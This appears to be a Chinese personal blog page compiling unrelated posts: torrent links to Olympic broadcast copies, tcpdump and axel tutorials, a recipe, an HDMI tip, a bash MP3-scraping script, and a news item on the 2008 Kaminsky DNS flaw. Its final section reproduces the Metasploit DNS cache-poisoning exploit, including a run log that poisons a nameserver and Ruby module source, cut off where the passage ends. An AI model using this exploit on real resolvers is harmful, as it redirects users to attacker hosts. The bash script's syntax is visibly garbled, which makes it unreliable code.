亮的MARK库

mark.liangliang.org.cn

美国NBC 4.92 gigabyte
  Beijing Olympics 2008 Opening Ceremony 720p HDTV x264-ORENJi
http://www.mininova.org/tor/1679167这个链接不用压缩。。
http://www.mininova.org/tor/1679166这个链接还要解压缩。 (最原始文件)
  英国BBC 2.54 gigabyte
  The Olympic Games 2008 Opening Ceremony (8th August 2008)[WS PDTV(Xvid)] Tiggzz xtremespeeds.net
http://www.mininova.org/tor/1676926 (需要服务器密码 暂时没有)
http://www.torrentreactor.net/torrents/2006356/The-Olympic-Games-2008-Opening-Ceremony-Full-Show (可下载)
  法国2台 9.29 gigabyte
  Opening ceremony Beijing 2008 - HD1080i - French TV - Ceremonie d ouverture
http://www.mininova.org/tor/1678364
  韩国MBC 4.37 gigabyte
  MBC Beijing Olympic 2008 The Opening Ceremony HDTV 720p 5 1ch x264-Aye mkv
http://www.mininova.org/tor/1678213
  香港TVB 3.26 gigabyte
  2008 Beijing Olympics Opening Ceremony
http://www.ziddu.com/download/1879239/TVB.zip.html
  未压缩NBC版本_080808185500_085_北京奧運2008開幕禮(直播).ts 42.34 gigabyte
http://hkgupload.com/612D3C.torrent

tcpdump简单用法

tcpdump是非常强大的网络安全分析工具,可以将网络上截获的数据包保存到文件以备分析。可以定义过滤规则,只截获感兴趣的数据包,以减少输出文件大小和数据包分析时的装载和处理时间。

这篇文章只涉及tcpdump的基本用法,请记住tcpdump比我描述的强大的多。

针对网络接口、端口和协议的数据包截取。假定你要截取网络接口eth1,端口号6881的tcp数据包。数据文件保存为test.pcap。

tcpdump -w test.pcap -i eth1 tcp port 6881

很简单吧?如果要同时截取udp端口号33210和33220的数据包呢?

tcpdump -w test.pcap -i eth1 tcp port 6881 or udp \( 33210 or 33220 \)

‘\‘是转义字符,逻辑符号OR是加(+)的意思。其他表达式是截取端口号6881的tcp包加上端口号33210和33220的UDP包。tcpdump过滤表达式的and运算符是交集的意思,因此截取端口号33210和33220的UDP包使用 or 而不是 and。and运算符的用法在下文描述。

怎样保存文件读取数据包呢?

tcpdump -nnr test.pcap

选项 -nn 不把网络IP和端口号转换成名字,r(read)读取包。

可以添加 -tttt 选项使时间戳格式更加可读。

tcpdump -ttttnnr test.pcap

怎样针对IP截取数据?

需向tcpdump指明IP类型,目的IP还是源IP?比如要嗅探的目的IP为10.168.28.22,tcp端口号22。

tcpdump -w test.pcap dst 10.168.28.22 and tcp port 22

目的IP和端口的交集(intersection),使用and运算符。

嗅探数据包大小缺省为96 bytes,可以指定 -s 改变缺省值。

tcpdump -w test.pcap -s 1550 dst 10.168.28.22 and tcp port 22

有些版本的tcpdump允许指定端口范围,下述指令为针对一定端口范围截取数据。

tcpdump tcp portrange 20-24

注意,上述指令没有指定 -w 把截取的数据包保存到文件而是直接输出到屏幕。

不知道端口号使用tcpdump

互联网的数据流量太大,可以使用lsof搜索指定端口。lsof的例子可以参考 Monitor who runs what, listen to what ports, established what connections。

TcpDump可以将网络中传送的数据包的“头”完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤,并提供and、or、not等逻辑语句来帮助你去掉无用的信息。

和Linux终端状态下的其他软件一样,TcpDump也是依靠参数来工作,本文将结合实例来说明。

数据过滤 不带任何参数的TcpDump将搜索系统中所有的网络接口,并显示它截获的所有数据,这些数据对我们不一定全都需要,而且数据太多不利于分析。所以,我们应当先想好需要哪些数据,TcpDump提供以下参数供我们选择数据:

-b 在数据-链路层上选择协议,包括ip、arp、rarp、ipx都是这一层的。

例如:tcpdump -b arp 将只显示网络中的arp即地址转换协议信息。

-i 选择过滤的网络接口,如果是作为路由器至少有两个网络接口,通过这个选项,就可以只过滤指定的接口上通过的数据。例如:

tcpdump -i eth0 只显示通过eth0接口上的所有报头。

src、dst、port、host、net、ether、gateway这几个选项又分别包含src、dst 、port、host、net、ehost等附加选项。他们用来分辨数据包的来源和去向,src host 192.168.0.1指定源主机IP地址是192.168.0.1,dst net 192.168.0.0/24指定目标是网络192.168.0.0。以此类推,host是与其指定主机相关无论它是源还是目的,net是与其指定网络相关的,ether后面跟的不是IP地址而是物理地址,而gateway则用于网关主机。可能有点复杂,看下面例子就知道了:

tcpdump src host 192.168.0.1 and dst net 192.168.0.0/24

过滤的是源主机为192.168.0.1与目的网络为192.168.0.0的报头。

tcpdump ether src 00:50:04:BA:9B and dst……

过滤源主机物理地址为XXX的报头(为什么ether src后面没有host或者net?物理地址当然不可能有网络喽)。

Tcpdump src host 192.168.0.1 and dst port not telnet

过滤源主机192.168.0.1和目的端口不是telnet的报头。

ip icmp arp rarp 和 tcp、udp、icmp这些选项等都要放到第一个参数的位置,用来过滤数据报的类型。例如:

tcpdump ip src……

只过滤数据-链路层上的IP报头。

tcpdump udp and src host 192.168.0.1

只过滤源主机192.168.0.1的所有udp报头。

数据显示/输入输出 TcpDump提供了足够的参数来让我们选择如何处理得到的数据,如下所示:

-l 可以将数据重定向。

如tcpdump -l >tcpcap.txt将得到的数据存入tcpcap.txt文件中。

-n 不进行IP地址到主机名的转换。

如果不使用这一项,当系统中存在某一主机的主机名时,TcpDump会把IP地址转换为主机名显示,就像这样:eth0 < ntc9.1165> router.domain.net.telnet,使用-n后变成了:eth0 < 192.168.0.9.1165 > 192.168.0.1.telnet。

-nn 不进行端口名称的转换。

上面这条信息使用-nn后就变成了:eth0 < ntc9.1165 > router.domain.net.23。

-N 不打印出默认的域名。

还是这条信息-N 后就是:eth0 < ntc9.1165 > router.telnet。

-O 不进行匹配代码的优化。 -t 不打印UNIX时间戳,也就是不显示时间。 -tt 打印原始的、未格式化过的时间。 -v 详细的输出,也就比普通的多了个TTL和服务类型。

材料:四季豆500克、猪肉末20克(用酱油和水淀粉腌一下)、蒜末10克、干辣椒若干

调料:油250克(实耗50克)料酒3小匙,酱油盐鸡精各一小匙

做法:

1、将四季豆掐去两头切长段洗净控干;

2、锅内放油烧至八成热时放入四季豆,炸3分钟至豆角表面起皱收缩,捞出沥油

3、锅中留底油,将蒜末、肉末炒香,注意先将蒜末和肉末放入油中,用锅铲将肉末滑散,再开大火炒,如果你首先就开大火,肉一下锅就会紧密团结在一起成肉块了,炒至肉末表面发脆,调入料酒后盛出;

4、锅内放油,油热后倒入炸过的豆角,用小火煸炒,再将刚炒好的肉末和蒜末倒入锅内,撒上干辣椒(干辣椒事先可单独用油煸一下会更香,记得火不要大),加盐和鸡精,出锅前再淋点酱油,好出锅~

linux命令行下多线程下载工具-axel

在Linux 命令行下多线程的下载工具,支持断点续传,速度通常情况下是Wget的几倍。 下载、编译、安装

官方地址:http://wilmer.gaast.net/main.php/axel.html apt-get install axel

axel用法

基本的用法如下: #axel [选项] [下载目录] [下载地址] [root@test axel-1.0b]# axel –help ←查看axel帮助 Usage: axel [options] url1 [url2] [url…]

–max-speed=x -s x Specify maximum speed (bytes per second) ←设置最大速度 –num-connections=x -n x Specify maximum number of connections ←设置最大进程 –output=f -o f Specify local output file ←指定文件下载后存放位置 –search[=x] -S [x] Search for mirrors and download from x servers –no-proxy -N Just don’t use any proxy server –quiet -q Leave stdout alone –verbose -v More status information –alternate -a Alternate progress indicator –help -h This information –version -V Version information

Report bugs to lintux@lintux.cx [root@test axel-1.0b]# 一个典型的下载应用 [root@test axel-1.0b]# axel -n 10 -vo . http://your-domain.com/test.tar.gz ←用10线程将指定路径的文件 下载到当前的工作目录下

initializing download: http://your-domain.com/test.tar.gz File size: 1945089 bytes Opening output file ./test.tar.gz Starting download [ 0%] ………. ………. ………. ………. ………. [ 15.3KB/s] [ 2%] ………. ………. ………. ………. ………. [ 20.5KB/s] [ 5%] ………. ………. ………. ………. ………. [ 26.3KB/s] [ 7%] ………. ………. ………. ………. ………. [ 30.1KB/s] [ 10%] ………. ………. ………. ………. ………. [ 34.0KB/s] [ 13%] ………. ………. ………. ………. ………. [ 36.7KB/s] [ 15%] ………. ………. ………. ………. ………. [ 39.0KB/s] [ 18%] ………. ………. ………. ………. ………. [ 41.7KB/s] [ 21%] ………. ………. ………. ………. ………. [ 42.7KB/s] [ 23%] ………. ………. ………. ………. ………. [ 43.2KB/s] [ 26%] ………. ………. ………. ………. ………. [ 44.6KB/s] [ 28%] ………. ………. ………. ………. ………. [ 46.6KB/s] [ 31%] ………. ………. ………. ………. ………. [ 46.6KB/s] [ 34%] ………. ………. ………. ………. ………. [ 46.2KB/s] [ 36%] ………. ………. ………. ………. ………. [ 47.5KB/s] [ 39%] ………. ………. ………. ………. ………. [ 47.3KB/s] [ 42%] ………. ………. ………. ………. ………. [ 47.9KB/s] [ 44%] ………. ………. ………. ………. ………. [ 48.0KB/s] [ 47%] ………. ………. ………. ………. ………. [ 47.2KB/s] [ 50%] ………. ………. ………. ………. ………. [ 47.6KB/s] [ 52%] ………. ………. ………. ………. ………. [ 47.2KB/s] [ 55%] ………. ………. ………. ………. ………. [ 47.5KB/s] [ 57%] ………. ………. ………. ………. ………. [ 47.8KB/s] [ 60%] ………. ………. ………. ………. ………. [ 47.6KB/s] [ 63%] ………. ………. ………. ………. ………. [ 47.8KB/s] [ 65%] ………. ………. ………. ………. ………. [ 48.0KB/s] [ 68%] ………. ………. ………. ………. ………. [ 48.0KB/s] [ 71%] ………. ………. ………. ………. ………. [ 48.3KB/s] [ 73%] ………. ………. ………. ………. Connection 1 finished ,,,,,,,,,, ,,,,,,,,,, ,,,,,,,,,, ,,,,,,,,,, ……. Connection 3 finished ,,,,,,,,,, ,,,,,,,,,, ,,,,,,,,,, ,,,,,,,,,, ,,,,,,,… [ 48.1KB/s] [ 76%] ………. ………. ………. ………. ………. [ 48.2KB/s] [ 78%] ………. ………. ………. ………. ………. [ 47.9KB/s] [ 81%] ………. ………. ………. ………. ………. [ 47.8KB/s] [ 84%] ………. ……. Connection 6 finished ,,,,,,,,,, ,,,,,,,… ………. Connection 5 finished ,,,,,,,,,, ,,,,,,,,,, ,,,,,,,,,, ………. Connection 2 finished ,,,,,,,,,, ,,,,,,,,,, ,,,,,,,,,, ,,,,,,,,,, ………. [ 47.1KB/s] [ 86%] …. Connection 8 finished ,,,,….. Connection 4 finished ,,,,,,,,,. ………. ………. ………. ………. [ 43.6KB/s] [ 89%] ………. ………. ………. ………. . Connection 9 finished ,,,,,,,,,, ,,,,,,,,,, ,,,,,,,,,, ,,,,,,,,,, ,…… Connection 0 finished ,,,,,,,,,, ,,,,,,,,,, ,,,,,,,,,, ,,,,,,,,,, ,,,,,,,… [ 40.3KB/s] [ 92%] ………. ………. ………. ………. ………. [ 35.0KB/s] [ 94%] ………. ………. ………. ………. ………. [ 27.1KB/s] [ 97%] ………. ………. ………. ………. ……… Downloaded 1899.5 kilobytes in 1:14 seconds. (25.60 KB/s)

HDMI接口目前已成为液晶电视的标准配置,除了具有高达5Gbps以上的数据传输带宽,方便传送无压缩的音频信号及高分辨率视频信号之外,其另外一个优点在于使用方便,只需要一根HDMI线,音频视频就可以全部传输。而且接口设计的非常方便拔插,不需要按动任何按钮就可以轻易的插上拔下。

但是这样却带来了一个问题:由于HDMI接口并不支持热拔插,如果在开机状态下直接将其插上或拔下,很容易将HDMI接口的芯片烧毁,造成不必要的损失。

因此,各位用户在拔插HDMI线的时候,千万不要热拔插,而必须在将电视机和高清播放机都关闭之后,才能进行拔插。

#!/bin/bash #Copyright (c) 2006 bones7456 (bones7456@gmail.com) #License: GPLv2 #非常感谢ubuntu社区和oneleaf老兄 #强烈建议安装axel(多线程下载工具)和mid3v2(包含在python-mutagen里,用于修改歌曲的id3信息) #mp3的地址 SOURCE=”http://list.mp3.baidu.com/list/newhits.html“ #SOURCE=”http://list.mp3.baidu.com/topso/mp3topsong.html“ 改成这个地址可以下载歌曲top500 #保存mp3的目录 SAVE=”${HOME}/baidump3” #下载重试次数 TRYCOUNT=2 #用axel下载时的线程数 AXELNUM=7 #临时目录 TMP=”/tmp/baidump3-${USER}” #是否需要暂停 PAUSE=0 if [ x`which axel` = x”” ];then PAUSE=1 cat << EOF 您的系统中没有安装axel多线程下载工具,这将导致只能使用wget进行单线程下载,将会影响下载速度。 如果是ubuntu用户,可以直接使用 sudo apt-get install axel 进行安装,其他系统请访问axel主页:http://wilmer.gaast.net/main.php/axel.html 进行下载、安装。 EOF fi if [ x`which mid3v2` = x”” ];then PAUSE=1 cat << EOF 您的系统中没有安装mid3v2工具,使用该工具可以修改mp3歌曲的标签信息(如歌手、歌名等),并去掉可能包含于其中的广告信息。 如果是ubuntu用户,可以直接使用 sudo apt-get install python-mutagen 进行安装,其他系统请访问其主页:http://www.sacredchao.net/quodlibet/wiki/Development/Mutagen 进行下载、安装。 EOF fi if [ “$PAUSE” = 1 ];then echo “是否继续(yn)?” read KEYVAR case “$KEYVAR” in “Y” “y” ) echo 略过。 ;; * ) exit 0 ;; esac fi #创建下载目录 if [ ! -d “${SAVE}” ];then mkdir -p “${SAVE}” fi #创建临时下载目录 if [ -d “${TMP}” ];then rm -rf “${TMP}” fi mkdir -p “${TMP}” echo “开始下载百度最新100首歌曲列表” wget -O ${TMP}/mp3.html ${SOURCE} echo “下载百度最新100首歌曲列表完成。” #转换网页编码 iconv -f gbk -t utf8 ${TMP}/mp3.html \ grep “ href=\“http://mp3.baidu.com/m“ \ #将mp3list.txt所有开头的空格去掉 sed -e ‘s/ *//‘ \ #将mp3list.txt所有开头的tab去掉 sed -e ‘s/\t*//‘ \ #将mp3list.txt所有全角空格去掉 sed -e ‘s/ //g’ \ #将所有的回车符去掉 sed ‘:a;N;$!ba;s/\n/,/g’ \ #在td>,后面加上回车符,一行表示一个mp3文件。 sed -e ‘s/,,/td>\n/g’ \ #删除

sed -e ‘s///g’ \ sed -e ‘s///g’ \ sed -e ‘s/<\/td>//g’ \ sed -e ‘s/

//g’ \ sed -e ‘s/<\/p>//g’ \ sed -e ‘s///g’ \ #删除…”_blank”> sed -e ‘s/<\/A>\//、/g’ \ sed -e ‘s/<\/A>/<\/a>/g’ \ sed -e ‘s/<\/a>.*_blank>/-/g’ \ #sed -e ‘s/<\/a>.*_blank”>/-/g’ \ #删除) sed -e ‘s/<\/a>)/<\/a>/g’ \ #删除文件名末尾的tab sed -e ‘s/\t<\/a>/<\/a>/g’ \ #删除& sed -e ‘s/\&\;/\//g’ >${TMP}/mp3list.txt #得到:Baby ,Baby tell me-王心凌 #取得行号,循环 line=$(awk ‘END{print NR}’ ${TMP}/mp3list.txt) i=1; while((i<=line));do downed=0; mpline=`awk ‘NR==’”$i”‘’ ${TMP}/mp3list.txt` url=`echo $mpline sed -e ‘s/[//g’ sed -e ‘s/.*_blank>//g’ sed -e ‘s/<\/b>//g’ sed -e ‘s///g’ \ sed -e ‘s/<\/a>//g’ sed -e ‘s/\//-/g’ sed -e ‘s/:/-/g’ sed -e ‘s/“/‘\‘’/g’ cat` title=`echo $name sed -e ‘s/-.*//g’` #检查是否已经下载过这首歌,如果下载过,放弃 if [ -e “${SAVE}/${name}.mp3” ] [ -e “${SAVE}/${name}.wma” ]; then echo -e “\e[1;6m\e[1;31m发现 ${name} 下载过,忽略,继续下一首。\e[1;6m\e[00m” ((i++)) continue; fi echo “开始通过 $url 下载 $name”; wget -O ${TMP}/down.html $url echo “获取 $name 下载列表完成。”; #down.txt为有效的下载地址 iconv -f gbk -t utf8 -c ${TMP}/down.html grep “onclick=\“return ow(event,this)\“” \ sed -e ‘s/.***](//g’ sed ‘s/\ target.*//g’ sed ‘s/) **[${TMP}/down.txt #size.txt为有效的下载文件大小 iconv -f gbk -t utf8 -c ${TMP}/down.html grep “M<\/td>” \ sed -e ‘s///g’ sed -e ‘s/ M<\/td>//g’ > ${TMP}/size.txt #down.txt与size.txt合并而在的down_size.txt文件中字段之间以”`“作为分隔符 paste -d ‘`‘ ${TMP}/size.txt ${TMP}/down.txt > ${TMP}/down_size.txt #排序 sort -n -r ${TMP}/down_size.txt > ${TMP}/down_size_sort.txt #去掉后面的尺寸 sed ‘s/.*`//‘ ${TMP}/down_size_sort.txt > ${TMP}/temp.txt ##### 析取出mp3 的下载地址或 wma的下载地址 ############## grep -i “word=mp3” ${TMP}/temp.txt grep “$title” > ${TMP}/down_mp3.txt grep -i “word=wma” ${TMP}/temp.txt grep “$title” > ${TMP}/down_wma.txt downline_mp3=$(awk ‘END{print NR}’ ${TMP}/down_mp3.txt); downline_wma=$(awk ‘END{print NR}’ ${TMP}/down_wma.txt); echo -e “\e[1;6m\e[1;31m发现 ${downline_mp3} 个名为 ${name}.mp3 下载地址。\e[1;6m\e[00m” echo -e “\e[1;6m\e[1;31m发现 ${downline_wma} 个名为 ${name}.wma 下载地址。\e[1;6m\e[00m” # 初始化计数器 j=1; # 优先下载mp3格式的歌曲 while((j<=downline_mp3)); do mp3=`awk ‘NR==’”$j”‘’ ${TMP}/down_mp3.txt sed -e ‘s/ /\\ /g’` echo -e “\e[1;6m\e[1;31m正在下载${name}.mp3\e[1;6m\e[00m” #echo -e “\e[1;6m\e[1;31m中转页面地址为${mp3}\e[1;6m\e[00m” wget -O “${TMP}/transit.html” “$mp3” realURL=`iconv -f gbk -t utf8 -c ${TMP}/transit.html grep “](//g’ sed -e ‘s/)

  • [“ sed ‘s/.*href=”//‘ sed ‘s/“ target=”_blank”>.*//‘` #echo -e “\e[1;6m\e[1;31m真实下载地址为${realURL}\e[1;6m\e[00m” if [ x`which axel` != x”” ];then axel -n $AXELNUM -a -o “${TMP}/${name}.mp3” “${realURL}” else #wget太慢了。但是如果没有安装axel,可以把上面一行注释掉,用下面一行代替 wget -c –tries=$TRYCOUNT $realURL -O “${TMP}/${name}.mp3” fi if [ “$?” = 0 ]; then if [ `file -ib “${TMP}/${name}.mp3” sed -e ‘s/\/.*//g’` = “audio” ]; then if [ x`which mid3v2` != x”” ];then title=`echo $name sed -e ‘s/-.*//g’` artist=`echo $name sed -e ‘s/.*-//g’ sed -e ‘s/.mp3//g’ sed -e ‘s/.wma//g’` mid3v2 -D “${TMP}/${name}.mp3” mid3v2 -t “${title}” -a “${artist}” “${TMP}/${name}.mp3” fi mv “${TMP}/${name}.mp3” “${SAVE}/${name}.mp3” downed=1; break; else echo -e “\e[1;6m\e[1;31m下载 ${name}.mp3 文件无效,正在删除重新下载\e[1;6m\e[00m” rm “${TMP}/${name}.mp3”; ((j++)) fi else echo -e “\e[1;6m\e[1;31m下载 ${name}.mp3 文件无效,正在删除重新下载\e[1;6m\e[00m” rm “${TMP}/${name}.mp3”; ((j++)) fi done #如果下载成功继续下其余的歌 #continue用于跳过循环体中的后续命令 if [ “$downed” = 1 ] ; then ((i++)) echo -e “\e[1;7m\e[1;41m下载 $name 成功\e[1;7m\e[00m” continue; fi # 如果没有mp3格式的则下载wma格式的歌 j=1; while((j<=downline_wma)); do wma=`awk ‘NR==’”$j”‘’ ${TMP}/down_wma.txt` echo -e “\e[1;6m\e[1;31m正在下载${name}.wma\e[1;6m\e[00m” #echo -e “\e[1;6m\e[1;31m中转页面地址为${mp3}\e[1;6m\e[00m” wget -O “${TMP}/transit.html” “$wma” realURL=`iconv -f gbk -t utf8 -c ${TMP}/transit.html grep “](//g’ sed -e ‘s/)
  • [“ sed ‘s/.*href=”//‘ sed ‘s/“ target=”_blank”>.*//‘` #echo -e “\e[1;6m\e[1;31m真实下载地址为${realURL}\e[1;6m\e[00m” if [ x`which axel` != x”” ];then axel -n $AXELNUM -a -o “${TMP}/${name}.wma” “${realURL}” else #wget太慢了。但是如果没有安装axel,可以把上面一行注释掉,用下面一行代替 wget -c –tries=$TRYCOUNT $realURL -O “${TMP}/${name}.wma” fi if [ “$?” = 0 ]; then if [ `file -ib “${TMP}/${name}.wma” sed -e ‘s/\/.*//g’` = “application” ]; then #title=`echo $name sed -e ‘s/-.*//g’` #artist=`echo $name sed -e ‘s/.*-//g’ sed -e ‘s/.mp3//g’ sed -e ‘s/.wma//g’` #mid3v2 -D “${TMP}/${name}.wma” #mid3v2 -t “${title}” -a “${artist}” “${TMP}/${name}.wma” mv “${TMP}/${name}.wma” “${SAVE}/${name}.wma” downed=1; break; else echo -e “\e[1;6m\e[1;31m下载 ${name}.wma 文件无效,正在删除重新下载\e[1;6m\e[00m” rm “${TMP}/${name}.wma”; ((j++)) fi else echo -e “\e[1;6m\e[1;31m下载 ${name}.wma 文件无效,正在删除重新下载\e[1;6m\e[00m” rm “${TMP}/${name}.wma”; ((j++)) fi done ((i++)) if [ “$downed” = 1 ] ; then echo -e “\e[1;7m\e[1;41m下载 $name 成功\e[1;7m\e[00m” else echo -e “\e[1;7m\e[1;41m下载 $name 失败\e[1;7m\e[00m” fi done rm -fr ${TMP} exit 0](//g’ sed -e ‘s/)

北京时间7月24日消息,据国外媒体报道,一个互联网域名服务器(DNS)重大漏洞的生成机制和技术细节周一被美国安全公司Matasano“出于疏忽大意”曝光后,开源安全漏洞检测工具Metasploit开发者们周三已发布了针对该DNS漏洞的攻击代码。安全专家表示,如果某家互联网服务供应商(ISP)没有安装相应漏洞补丁程序,则黑客们可针对使用该ISP服务的普通网民发起“网络钓鱼 ”(phishing)攻击,而这些网民根本无法意识到自己已被攻击。

今年年初,美国网络安全产品和服务提供商IOActive安全研究员丹·卡明斯基(Dan Kaminsky)首先发现了这一严重DNS漏洞,他随后与微软等科技巨头取得了联系。各大计算机业巨头已于7月8日发布了一款软件补丁。

安全专家称,对于那些还没有给服务器安装该DNS漏洞补丁的ISP来说,黑客们可针对使用该 ISP服务的普通网民发起攻击。其方式是在网民进行各种程序升级时,黑客们将悄悄把这些网民的访问地址转到一台假冒服务器上面;在用户进行软件升级的过程当中,自己机器上已被安装了恶意软件。

美国知名杀毒软件开发商赛门铁克(Symantec)技术主管祖尔菲卡·拉米扎(Zulfikar Ramizan)对此表示:“该DNS攻击的可怕之处就在于:在发生上述攻击时,普通终端电脑用户根本就不会觉察到任何异常现象。”

漏洞细节被泄露

卡明斯基此前曾表示,在各大企业用户安装这款DNS漏洞补丁之前,不会对外公布该漏洞的技术细节,而会等到在今年8月举行的“黑帽”(Black Hat)安全技术大会上再公布相关资料。但本周一Matasano不慎在公司博客上披露了该漏洞的技术详情。虽然Matasano随即删除了这篇文章,但相关内容已被多家网站转载。

尽管该DNS漏洞补丁已于7月8日发布,但目前全球绝大多数企业用户仍没有安装该补丁,原因是这些企业用户需首先检测该补丁的兼容性。安全公司ISC总裁保罗·维克西(Paul Vixie)对此表示:“多数企业目前还没有安装该DNS补丁,这可是个大问题。”

另一家安全公司Trusteer首席技术官(CTO)阿米特·克莱恩(Amit Klein)则表示,周三出现的DNS漏洞攻击代码“看起来是真的”;利用该攻击代码,黑客们将可针对还没有安装补丁的DNS服务器发起攻击。他说:“这种攻击危害性极大。如果攻击者很狡猾,我们根本就不会发觉自己已遭到攻击。”

代码及细节:

http://www.caughq.org/exploits/CAU-EX-2008-0002.txt

[Copy to clipboard] [ - ] CODE: ____ ____ __ __ / \ / \ —-====####/ /\__\##/ /\ \## ## ####====—- __ ___ __ ——======######\ \/ /# ## # ## ######======—— \____/ __ __ \______/ Computer Academic Underground [url]http://www.caughq.org\[/url\] Exploit Code

===============/======================================================== Exploit ID: CAU-EX-2008-0002 Release Date: 2008.07.23 Title: bailiwicked_host.rb Description: Kaminsky DNS Cache Poisoning Flaw Exploit Tested: BIND 9.4.1-9.4.2 Attributes: Remote, Poison, Resolver, Metasploit Exploit URL: [url]http://www.caughq.org/exploits/CAU-EX-2008-0002.txt\[/url\] Author/Email: I)ruid H D Moore ===============/========================================================

Description ===========

This exploit targets a fairly ubiquitous flaw in DNS implementations which allow the insertion of malicious DNS records into the cache of the target nameserver. This exploit caches a single malicious host entry into the target nameserver. By causing the target nameserver to query for random hostnames at the target domain, the attacker can spoof a response to the target server including an answer for the query, an authority server record, and an additional record for that server, causing target nameserver to insert the additional record into the cache.

Example =======

# /msf3/msfconsole

_ _ _ _ (_) _ __ ___ ___ _ __ _ ___ _ __ ___ _ _ ‘_ ` _ \ / _ \ __/ _` / __ ‘_ \ / _ \ __ __/ (_ \__ \ _) (_) _ _ _ _\___\__\__,____/ .__/_\___/_\__ _

=[ msf v3.2-release + – –=[ 298 exploits - 124 payloads + – –=[ 18 encoders - 6 nops =[ 72 aux

msf > use auxiliary/spoof/dns/bailiwicked_host msf auxiliary(bailiwicked_host) > show options

Module options:

Name Current Setting Required Description —- ————— ——– ———– HOSTNAME pwned.example.com yes Hostname to hijack NEWADDR 1.3.3.7 yes New address for hostname RECONS 208.67.222.222 yes Nameserver used for reconnaissance RHOST yes The target address SRCPORT yes The target server’s source query port (0 for automatic) XIDS 10 yes Number of XIDs to try for each query

msf auxiliary(bailiwicked_host) > set RHOST A.B.C.D RHOST => A.B.C.D

msf auxiliary(bailiwicked_host) > check [*] Using the Metasploit service to verify exploitability… [*] >> ADDRESS: A.B.C.D PORT: 48178 [*] >> ADDRESS: A.B.C.D PORT: 48178 [*] >> ADDRESS: A.B.C.D PORT: 48178 [*] >> ADDRESS: A.B.C.D PORT: 48178 [*] >> ADDRESS: A.B.C.D PORT: 48178 [*] FAIL: This server uses static source ports and is vulnerable to poisoning

msf auxiliary(bailiwicked_host) > set SRCPORT 0 SRCPORT => 0

msf auxiliary(bailiwicked_host) > run [*] Switching to target port 48178 based on Metasploit service [*] Targeting nameserver A.B.C.D [*] Querying recon nameserver for example.com.’s nameservers… [*] Got answer with 2 answers, 0 authorities [*] Got an NS record: example.com. 172643 IN NS ns89.worldnic.com. [*] Querying recon nameserver for address of ns89.worldnic.com…. [*] Got answer with 1 answers, 0 authorities [*] Got an A record: ns89.worldnic.com. 172794 IN A 205.178.190.45 [*] Checking Authoritativeness: Querying 205.178.190.45 for example.com…. [*] ns89.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as [*] Got an NS record: example.com. 172643 IN NS ns90.worldnic.com. [*] Querying recon nameserver for address of ns90.worldnic.com…. [*] Got answer with 1 answers, 0 authorities [*] Got an A record: ns90.worldnic.com. 172794 IN A 205.178.144.45 [*] Checking Authoritativeness: Querying 205.178.144.45 for example.com…. [*] ns90.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as [*] Attempting to inject a poison record for pwned.example.com. into A.B.C.D:48178… [*] Sent 1000 queries and 20000 spoofed responses… [*] Sent 2000 queries and 40000 spoofed responses… [*] Sent 3000 queries and 60000 spoofed responses… [*] Sent 4000 queries and 80000 spoofed responses… [*] Sent 5000 queries and 100000 spoofed responses… [*] Sent 6000 queries and 120000 spoofed responses… [*] Sent 7000 queries and 140000 spoofed responses… [*] Poisoning successful after 7000 attempts: pwned.example.com == 1.3.3.7 [*] Auxiliary module execution completed msf auxiliary(bailiwicked_host) >

msf auxiliary(bailiwicked_host) > nslookup pwned.example.com A.B.C.D [*] exec: nslookup pwned.example.com A.B.C.D

Server: A.B.C.D Address: A.B.C.D#53

Non-authoritative answer: Name: pwned.example.com Address: 1.3.3.7

Credits =======

Dan Kaminsky is credited with originally discovering this vulnerability.

References ==========

[url]http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447\[/url\] [url]http://www.kb.cert.org/vuls/id/800113\[/url\]

Metasploit ==========

require ‘msf/core’ require ‘net/dns’ require ‘scruby’ require ‘resolv’

module Msf

class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary

include Exploit::Remote::Ip

def initialize(info = {}) super(update_info(info, ‘Name’ => ‘DNS BailiWicked Host Attack’, ‘Description’ => %q{ This exploit attacks a fairly ubiquitous flaw in DNS implementations which Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single malicious host entry into the target nameserver by sending random sub-domain queries to the target DNS server coupled with spoofed replies to those queries from the authoritative nameservers for the domain which contain a malicious host entry for the hostname to be poisoned in the authority and additional records sections. Eventually, a guessed ID will match and the spoofed packet will get accepted, and due to the additional hostname entry being within bailiwick constraints of the original request the malicious host entry will get cached. }, ‘Author’ => [ ‘I)ruid’, ‘hdm’ ], ‘License’ => MSF_LICENSE, ‘Version’ => ‘$Revision: 5585 $’, ‘References’ => [ [ ‘CVE’, ‘2008-1447’ ], [ ‘US-CERT-VU’, ‘8000113’ ], [ ‘URL’, ‘http://www.caughq.org/exploits/CAU-EX-2008-0002.txt‘ ], ], ‘Privileged’ => true, ‘Targets’ => [ [“BIND”, { ‘Arch’ => ARCH_X86, ‘Platform’ => ‘linux’, }, ], ], ‘DisclosureDate’ => ‘Jul 21 2008’ )) register_options( [ OptPort.new(‘SRCPORT’, [true, “The target server’s source query port (0 for automatic)”, nil]), OptString.new(‘HOSTNAME’, [true, ‘Hostname to hijack’, ‘pwned.example.com’]), OptAddress.new(‘NEWADDR’, [true, ‘New address for hostname’, ‘1.3.3.7’]), OptAddress.new(‘RECONS’, [true, ‘Nameserver used for reconnaissance’, ‘208.67.222.222’]), OptInt.new(‘XIDS’, [true, ‘Number of XIDs to try for each query’, 10]), OptInt.new(‘TTL’, [true, ‘TTL for the malicious host entry’, 31337]), ], self.class) end def auxiliary_commands return { “check” => “Determine if the specified DNS server (RHOST) is vulnerable” } end

def cmd_check(*args) targ = args[0] rhost() if(not (targ and targ.length > 0)) print_status(“usage: check [dns-server]“) return end

print_status(“Using the Metasploit service to verify exploitability…”) srv_sock = Rex::Socket.create_udp( ‘PeerHost’ => targ, ‘PeerPort’ => 53 )

random = false ports = [] lport = nil 1.upto(5) do i req = Resolv::DNS::Message.new txt = “spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com” req.add_question(txt, Resolv::DNS::Resource::IN::TXT) req.rd = 1 srv_sock.put(req.encode) res, addr = srv_sock.recvfrom()

if res and res.length > 0 res = Resolv::DNS::Message.decode(res) res.each_answer do name, ttl, data if (name.to_s == txt and data.strings.join(‘’) =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) t_addr, t_port = $1.split(‘:’)

